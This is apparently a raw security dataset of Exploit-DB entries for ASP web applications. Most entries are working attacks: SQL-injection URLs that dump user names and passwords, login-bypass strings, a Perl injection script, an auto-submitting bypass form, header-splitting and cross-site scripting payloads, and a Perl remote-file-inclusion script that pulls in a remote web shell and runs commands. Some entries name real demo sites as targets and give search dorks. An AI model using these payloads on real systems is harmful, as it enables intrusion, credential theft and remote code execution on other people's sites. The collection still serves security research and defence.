deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12833
Description: Patient folder (THEME ASP) - SQL Injection
Type: webapps
Platform: asp
Date: 2010-05-31
Author: SA H4x0r

Exploit:
============================================================
Patient folder (THEME ASP) Local SQL Injection Vulnerability
============================================================

-----------------------------------
By: SA H4x0r                      -
Emails: ww0@hotmail.com           -
Date: 2010/05/31                  -
-----------------------------------
=====================================================================

Search: "profil.asp?id=" OR "asp?id="
Author:  SA H4x0r
Contact: ww0[at]hotmail.com
Data:           2010-05-31 
=====================================================================

Description:

Inject script asp to tell the script to take them infected .. 

=====================================================================

                       --=[ Vuln C0de ]=-

                               [-] com/profil.asp?id
                               [-] xxx/xxxxxx.asp?id

-----------------------------------------------------------------------------------------

Directions: 

http://[Site].com/profil.asp?id=1' <<< To show us the site involved or not

http://[Site].com/profil.asp?id=1 having 1=1 << Here is a guide on the site downstream

Look: 

[Microsoft][ODBC Microsoft Access Driver] HAVING clause (1=1) without grouping or aggregation. 

okey ;) 

http://[Site].com/profil.asp?id=1 order by 1 

http://[Site].com/profil.asp?id=1 union select * from admin  

Control panel: http://[Site].com/admin "OR" http://[Site].com/login

-----------------------------------------------------------------------------------------

                    -=[ P0C ]=-

   http://127.0.0.1/profile/profil.asp?id=[SQL ASP]

   http://127.0.0.1/.asp?id=[SQL ASP]

=========================| -=[ E0F ]=- |=========================

Gr33t'z; Dmar Skood - VirUs_Ra3ch - Mr_QlQ - v4 Team - XP10_HackEr
Exploit-DB #30427
Description: Pay Roll Time Sheet and Punch Card Application With Web UI - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-28
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25114/info

Pay Roll - Time Sheet and Punch Card Application With Web Interface is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script:

anything' OR 'x'='x
Exploit-DB #32151
Description: Pcshey Portal - 'kategori.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-08-04
Author: U238

Exploit:
source: https://www.securityfocus.com/bid/30534/info

Pcshey Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

#!/usr/bin/perl
#Coded By U238
#Discovered By U238
#mail : setuid.noexec0x1]at]hotmail.com
#From : Türkiye / Erzincan
#Thnx : The_BekiR - ZeberuS - Fahn - ka0x - Deep Power - Marco Almeida
#Gretz: http://bilisimMimarileri.com
     : http://bilgiguvenligi.gov.tr
    Mesut Timur & Alper Canak

use LWP::Simple;
my $bekir= $ARGV[0];

if(!$ARGV[0]) {

print "\nExploit Options\n";
print "\nUse:perl victim.pl [domain]\n";
exit(0);
}
sleep(2);

print "\n\nPlease Loading&#8230;!$bekir\n\n";

$nrc=q[forum/kategori.asp?kid=26+union+select+0,1,2,parola,4,kullanici,6,7+f
rom+uyeler+where+id=1];
# where+id=2,3
$zeb=get($ARGV[0].$nrc) or die print "dont worked";

print "Exploit Succesful";

print "Connecting..: $ARGV[0]n";
sleep(3);

$zeb=~m/<font face="Tahoma"><strong></strong></font></td>/&& print "admin
hash: $baba";


print "dont username !" if(!$baba);

$zeb=~m/<font face="Tahoma"><strong></strong></font></td>/&& print "pass
!!: $baba";
print "dont pass" if(!$baba);
Exploit-DB #24632
Description: PD9 Software MegaBBS 2.0/2.1 - 'ladder-log.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2004-09-27
Author: pigrelax

Exploit:
source: https://www.securityfocus.com/bid/11253/info
 
MegaBBS is reported prone to multiple vulnerabilities. These issues exist due to insufficient sanitization of user-supplied data and may allow an attacker to carry out HTTP response splitting and SQL injection attacks.
 
MegaBBS versions 2.0 and 2.1 are reported prone to these issues.

ladder-log.asp?categoryid=1&sortby=completeddate&sortdir=1'
ladder-log.asp?categoryid=1&filter=id&criteria=1'
Exploit-DB #24631
Description: PD9 Software MegaBBS 2.0/2.1 - 'thread-post.asp' Multiple Header CRLF Injections
Type: webapps
Platform: asp
Date: 2004-09-27
Author: pigrelax

Exploit:
source: https://www.securityfocus.com/bid/11253/info

MegaBBS is reported prone to multiple vulnerabilities. These issues exist due to insufficient sanitization of user-supplied data and may allow an attacker to carry out HTTP response splitting and SQL injection attacks.

MegaBBS versions 2.0 and 2.1 are reported prone to these issues.

http://www.example.com/megabbs/forums/thread-post.asp?action=writenew&fid=%0
d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20
text/html%0d%0aContent-Length:%2033%0d%0a%0d%0a%3chtml%3eScanned%20by%20Maxp
atrol%3c/html%3e%0d%0a&tid=4924&replyto=22947&displaytype=flat

http://www.example.com/megabbs/forums/thread-post.asp?fid=%0d%0aContent-Leng
th:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aC
ontent-Length:%2033%0d%0a%0d%0a%3chtml%3eScanned%20by%20Maxpatrol%3c/html%3e
%0d%0a&action=writenew&displaytype=flat
Exploit-DB #24633
Description: PD9 Software MegaBBS 2.0/2.1 - 'view-profile.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2004-09-27
Author: pigrelax

Exploit:
source: https://www.securityfocus.com/bid/11253/info
  
MegaBBS is reported prone to multiple vulnerabilities. These issues exist due to insufficient sanitization of user-supplied data and may allow an attacker to carry out HTTP response splitting and SQL injection attacks.
  
MegaBBS versions 2.0 and 2.1 are reported prone to these issues.

view-profile.asp?type=single&memberid=1'
view-profile.asp?type=team&teamid=1'
Exploit-DB #8107
Description: PenPal 2.0 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-02-25
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG

@~~=From     : Turkish
@~~=======================================~~@
@~~=Script   :PenPal v2.0

@~~=S.Site   :http://anblik.com

@~~=Download :http://www.anblik.com/store/asp-scripts/penpal.html

@~~=Demo     :http://penpal.ankoor.com

@~~=Price    :1200.00 USD
@~~=======================================~~@

@~~=Exploit:

@~~=Username: ' or '1=1

@~~=Password: ' or '1=1


@~~=http://c4team.org /PenPal v2.0_Path /admin/login.asp


@~~=Demo:

@~~=http://penpal.ankoor.com/admin/login.asp

vs..
@~~=======================================~~@
@~~=Greetz For
  
@~~=Str0ke & Kralman & Mrabah12R & K3vin Mitnick & web-terrorist & Silent & SpotGang
@~~=======================================~~@
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
@~~=======================================~~@

# milw0rm.com [2009-02-25]
Exploit-DB #1529
Description: Pentacle In-Out Board 6.03 - 'login.asp' Remote Authentication Bypass
Type: webapps
Platform: asp
Date: 2006-02-25
Author: nukedx

Exploit:
<html>
<title>Pentacle In-Out Board <= 6.03 (login.asp) Authencation ByPass Vulnerability</title>
<script language=javascript>
function ptxpl(){
if(document.xpl.victim.value=="") {
  alert("Please enter site!");
  return false;
  }
if(confirm("Are you sure?")) {
  	xpl.action="http://"+document.xpl.victim.value+"/login.asp";
                xpl.username.value=document.xpl.username.value;
  	xpl.userpassword.value=document.xpl.userpassword.value;
                xpl.submit();
   }
}
</script>
<strong>
<font face="Tahoma" size="2">
Fill in the blank !:D<br>
Just enter host/path/ not http://host/path/!<br>
If Pentacle installed on / just enter host<br>
Example: host.com<br>
Example2: host.com/ptdir/<br>
<form name="xpl" method="POST" action="http://pentacle.g2soft.net/login.asp" onsubmit=ptxpl();>
Target -> <input type="text" name="victim" value="pentacle.g2soft.net" size="50">
<input type="hidden" name="username" value="any">
<input type="hidden" name="userpassword" value="' or '1'='1">
<input type="submit" value="Send">
</table></form>
</html>

Save this code as .htm and then execute.

# nukedx.com [2006-02-25]

# milw0rm.com [2006-02-25]
Exploit-DB #32903
Description: People-Trak - Login SQL Injection
Type: webapps
Platform: asp
Date: 2009-04-13
Author: Mormoroth.net

Exploit:
source: https://www.securityfocus.com/bid/34491/info

People-Trak is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example data is available:

username: ' or 1=(Select top 1 WAM_UserID from WebAppMgrs)--
Exploit-DB #26154
Description: PersianBlog - 'Userslist.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-08-16
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/14575/info

PersianBlog is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/userslist.asp?page=2'&catid=16
Exploit-DB #31797
Description: philboard 0.5 - 'W1L3D4_foruma_yeni_konu_ac.asp?forumid' SQL Injection
Type: webapps
Platform: asp
Date: 2008-05-14
Author: U238

Exploit:
source: https://www.securityfocus.com/bid/29229/info

Philboard is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Philboard 0.5 is vulnerable; other versions may also be affected.

http://www.example.com:2222/lab/philboard_v5/W1L3D4_foruma_yeni_konu_ac.asp?forumid=1+union+select+0,1,(username),(password),1,1+from+users
Exploit-DB #22673
Description: philboard 1.14 - 'philboard_admin.asp' Authentication Bypass
Type: webapps
Platform: asp
Date: 2003-05-29
Author: aresu@bosen.net

Exploit:
source: https://www.securityfocus.com/bid/7739/info

A vulnerability has been discovered in the 'philboard_admin.asp' script used by Philboard. The problem occurs during authentication and may allow an attacker to gain unauthorized administrative access.

The issue presents itself when handling cookie-based authentication credentials.

By gaining administrative access an attacker may be capable of carrying out a variety of attacks.

It should be noted that although this vulnerability has been reported to affect philboard version 1.14 previous versions might also be affected. 

Use telnet and open target on port 80

GET /board/philboard_admin.asp HTTP/1.0
Host: example.com
Cookie: philboard_admin=True;

Download the database (users and password):

Usually, the database location can be found and download it from:
http://www.target.com/database/philboard.mdb
or
http://www.target.com/forum/database/philboard.mdb
Exploit-DB #3295
Description: philboard 1.14 - 'philboard_forum.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-02-12
Author: Mehmet Ince

Exploit:
----------------------------------------------------

Philboard (id) Remote SQL Injection

----------------------------------------------------

Bulan: xoron

xoron.info - xoron.biz

Google Dork : "Powered by Philboard" , "inurl:philboard_forum.asp"

----------------------------------------------------

Exploit: philboard_forum.asp?forumid=[SQL]

----------------------------------------------------

Example:

Username
philboard_forum.asp?forumid=-1+union+select+0,username,2,3,4,5,6,7,8,7,8,9,10,11,12,13,14,15,16,17,18+from+users

Password
philboard_forum.asp?forumid=-1+union+select+0,password,2,3,4,5,6,7,8,7,8,9,10,11,12,13,14,15,16,17,18+from+users

----------------------------------------------------

Forum: username + password

----------------------------------------------------

Download: open http://www.aspindir.com/indir.asp?id=3538 and click "Ãndirmek iÃ§in tÃ½klayÃ½n" .

----------------------------------------------------

# milw0rm.com [2007-02-12]
Exploit-DB #14030
Description: PHPortal 1.2 - 'gunaysoft.php' Remote File Inclusion
Type: webapps
Platform: asp
Date: 2010-06-24
Author: Ma3sTr0-Dz

Exploit:
# Tilte: phportal_1.2 (gunaysoft.php) Remote File Include Vulnerability

# Author..................: [Ma3sTr0-Dz]
# Location ...............: [ALGERIA]
# Software ...............: [phportal_1.2]
# Impact..................: [Remote]
# Advisory ...............: [exploit-db.com]
# Site Software ..........: [http://sourceforge.net/project/showfiles.php?group_id=205263]
# Sptnx ..................: [Www.Sec4ever.Com Work Group & Members .]


# Vulnerability: Remote File Inclusion Vulnerability



# Part Expl0it & Bug Codes :

---

http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell]
http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?sayfaid=[shell]
http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell]

---

Exploit Perl :

---

#!/usr/bin/perl

use LWP::UserAgent;
use LWP::Simple;

$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$file = "sablonlar/gunaysoft/gunaysoft.php?uzanti=";

if(!$target || !$shellsite)
{
usage();
}

header();

print "Type 'exit' to quit";
print "[cmd]\$";
$cmd = <STDIN>;

while ($cmd !~ "exit")
{
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd) or die("\n\n Failed to connect.");
$res = $xpl->request($req);
$r = $res->content;
$r =~ tr/[\n]/[ê]/;

if (@ARGV[4] eq "-r")
{
print $r;
}
elsif (@ARGV[5] eq "-p")
{
# if not working change cmd variable to null and apply patch manually.
$cmd = "echo if(basename(__FILE__) == basename(\$_SERVER['PHP_SELF'])) die(); >> list_last.inc";
print q
{

}
}
else
{
print "[cmd]\$";
$cmd = <STDIN>;
}
}

sub header()
{
print q
{
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by : Ma3sTr0-Dz
phportal.pl - Remote File Include Exploit

o5m@hotmail.de
sp TANX2: Www.Sec4ever.Com/home/ & Cmos_CLR
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
};
}

sub usage()
{
header();
print q
{
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Usage:
perl phportal.pl <Target website> <Shell Location> <CMD Variable> <-r> <-p>
<Target Website> - Path to target eg: www.victim.com
<Shell Location> - Path to shell eg: http://site.com/r57.txt?
<CMD Variable> - Shell command variable name eg: Pwd
<r> - Show output from shell
<p> - sablonlar/gunaysoft/gunaysoft.php
Example:
perl phportal.pl http://localhost/include http://localhost/r57.php cmd -r -p
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
};
exit();
}
Exploit-DB #29013
Description: Pilot Cart 7.2 - 'Pilot.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21065/info

Pilot Cart is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 7.2 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/pilot.asp?srch=[sql]
Exploit-DB #7803
Description: Ping IP - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-01-16
Author: ByALBAYX

Exploit:
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Ping IP (Auth Bypass) SQL

[~]Script        : Ping IP

[~]Price         : $59   :) 

[~]Demo          : http://warhound.com/ASP/ping/admin.aspx

[~]Details       : http://warhound.com/asp/products.htm
#############################################
[~]Admin     :  [PATH] /ping/admin.aspx


[~]username  : ' or '1

[~]password  : ' or '1

 :) 
#############################################
[~]횆째횇타inize Baq횆짹n :=)

[~]Greetz For C4TEAM Members
#############################################
Derdimi dinledim, derdimden 횆째횆탑REND횆째M...
Onun derdini g횄쨋rd횄쩌m, derdime 횆째MREND횆째M...
----------
FilistiN

# milw0rm.com [2009-01-16]
Exploit-DB #7627
Description: Pixel8 Web Photo Album 3.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-30
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.nullarea.net
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Pixel8 Web Photo Album v3.0
#download : null
#Demo     : http://www.jayeshp.com/Pixel8/Files/Demo.asp


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.jayeshp.com/Pixel8/Demo/Files/Photo.asp?Index=1&NEXTPID=1149&OSet=0&UPDEL=Yes&AlbumID=4+and+1=0+union+select+username,username,3+from+users


#Greetz For NullArea members

###########################################################################

# milw0rm.com [2008-12-30]
Exploit-DB #33992
Description: Platnik 8.1.1 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2010-05-17
Author: podatnik386

Exploit:
source: https://www.securityfocus.com/bid/40201/info

Platnik is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Platnik 8.01.001 is affected; other versions may also be vulnerable. 

INSERT INTO dbo.UZYTKOWNIK VALUES('LOGIN', 'TEST', 'TEST', 'password hash', '2010-02-28 15:46:48', null, 'A', null)--
INSERT INTO dbo.UPRAWNIENIA VALUES(id_user, id_platnik)--
or 1=1--
Exploit-DB #37577
Description: PolarisCMS - 'WebForm_OnSubmit()' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2012-08-05
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/54817/info

PolarisCMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/reselleradmin/blog.aspx?%27%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
http://www.example.com/reselleradmin/blog.aspx?%27onmouseover=prompt(101)%3E
Exploit-DB #7391
Description: Poll Pro 2.0 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-12-09
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : PollPro
#Version  : v2.0
#download : null
#Demo     : http://www.pollpro.com/pollpro2/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
AUTH BYPASS :

username : ' or '1'='1
password : ' or '1'='1


###########################################################################

# milw0rm.com [2008-12-09]
Exploit-DB #3301
Description: PollMentor 2.0 - 'pollmentorres.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-02-13
Author: SaO

Exploit:
XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX
X                                       X
X Author  : SaO                         X
X Site    : wWw.SaoHackStyLe.cOm        X
X Contact : By.SaO[at]Hotmail[dot]com   X
X                                       X
X                                       X
XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX

# Script   : PollMentor v2.0
# Download : http://www.aspindir.com/indir.asp?id=4406
# Demo     : http://www.aspcode.net/products/pollmentor/demo/pollmentor.asp
# ßug in   : pollmentorres.asp
# Exp.     : 
http://[site]/[script-path]/pollmentorres.asp?id=-1+UPDATE+poll+SET+question='HekId';--

# milw0rm.com [2007-02-13]